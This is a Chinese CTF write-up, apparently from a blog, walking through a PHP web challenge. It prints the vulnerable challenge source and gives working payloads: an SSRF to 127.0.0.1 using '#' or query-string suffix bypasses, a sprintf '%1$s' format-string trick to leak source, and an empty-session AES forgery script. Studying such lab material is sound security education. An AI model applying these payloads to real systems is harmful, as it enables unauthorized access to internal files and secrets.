标签:and 其他 load data session err 根据 encrypt script
这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的。
home.php:
<?php
setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);
if(isset($_GET[‘file‘])){
if (preg_match("/\^|\~|&|\|/", $_GET[‘file‘])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET[‘file‘])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET[‘file‘])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET[‘file‘])){
die("ç¦?æ¢å¥?å¨?");
}
else{
if(preg_match("/home$/i", $_GET[‘file‘]) or preg_match("/system$/i", $_GET[‘file‘])){
$file = $_GET[‘file‘].".php";
}
else{
$file = $_GET[‘file‘].".fxxkyou!";
}
echo "ç?°å?¨è®¿é?®ç??æ?¯ ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href=‘./home.php?file=system‘</script>";
}
根据条件得到system.php:
<?php
error_reporting(0);
if (!isset($_COOKIE[‘y1ng‘]) || $_COOKIE[‘y1ng‘] !== sha1(md5(‘y1ng‘))){
echo "<script>alert(‘why you are here!‘);alert(‘fxck your scanner‘);alert(‘fxck you! get out!‘);</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ‘ Error: url invalid<br>~$ ‘;
$str3 = ‘ Error: damn hacker!<br>~$ ‘;
$str4 = ‘ Error: request method error<br>~$ ‘;
?>
·····································//中间为html。
<?php
$filter1 = ‘/^http:\/\/127\.0\.0\.1\//i‘;
$filter2 = ‘/.?f.?l.?a.?g.?/i‘;
if (isset($_POST[‘q1‘]) && isset($_POST[‘q2‘]) && isset($_POST[‘q3‘]) ) {
$url = $_POST[‘q2‘].".y1ng.txt";
$method = $_POST[‘q3‘];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match(‘/^GET/i‘, $method) && !preg_match(‘/^POST/i‘, $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
在这里他要求我们q2一定要有http://127.0.0.1/,但同时后面不能跟上flag文件,但是可以看到admin文件。
加入我们跟上admin文件,但他后面跟上了一个tctxt文件进行了打乱,对于这种我们可以加上#即锚点,或者是加上参数。
第二个点:这里有个%d需要注意,在linux当中,这是显示二进制的,在这里,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码,所以我们要让他以%s进行显示输出。
%s%
或者是%1$s
第一个原理是利用到了sprintf函数,sprintf()函数中%可以转义掉%,print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义,因此失去意义
第二个原理是:原理是%1$s会将第一个参数用string类型输出
payload:q1=22&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
payload:q1=1&q2=http%3A%2F%2F127.0.0.1%2Fadmin.php?a=1&q3=GET%251%24s
<php
error_reporting(0);
session_start();
$f1ag = ‘f1ag{s1mpl3_SSRF_@nd_spr1ntf}‘; //fake
function aesEn($data, $key)
{
$method = ‘AES-128-CBC‘;
$iv = md5($_SERVER[‘REMOTE_ADDR‘],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE[‘your_ip_address‘]) && $_COOKIE[‘your_ip_address‘] === md5($_SERVER[‘REMOTE_ADDR‘]) && $_COOKIE[‘y1ng‘] === sha1(md5(‘y1ng‘)))
return true;
else
return false;
}
if ( $_SERVER[‘REMOTE_ADDR‘] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size=‘10px‘ color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER[‘REMOTE_ADDR‘];
}
$_SESSION[‘user‘] = md5($_SERVER[‘REMOTE_ADDR‘]);
if (isset($_GET[‘decrypt‘])) {
$decr = $_GET[‘decrypt‘];
if (Check()){
$data = $_SESSION[‘secret‘];
include ‘flag_2sln2ndln2klnlksnf.php‘;
$cipher = aesEn($data, ‘y1ng‘);
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die(‘爬‘);
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION[‘secret‘] = bin2hex(random_bytes($length));
}
?>
这里我们进行代码的分析,发现只要不存在session ,且其他的两个cookie照常不变,那么我们就能进行到左后的判断了,这个时候我们将空加密的密钥拿出来,使用get访问满足相等的条件
构造脚本:
function aesEn($data, $key){
$method = ‘AES-128-CBC‘;
$iv = md5(‘IP‘,true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn(‘‘, ‘y1ng‘) //照着admin.php来就行,
标签:and 其他 load data session err 根据 encrypt script
原文地址:https://www.cnblogs.com/ophxc/p/13154212.html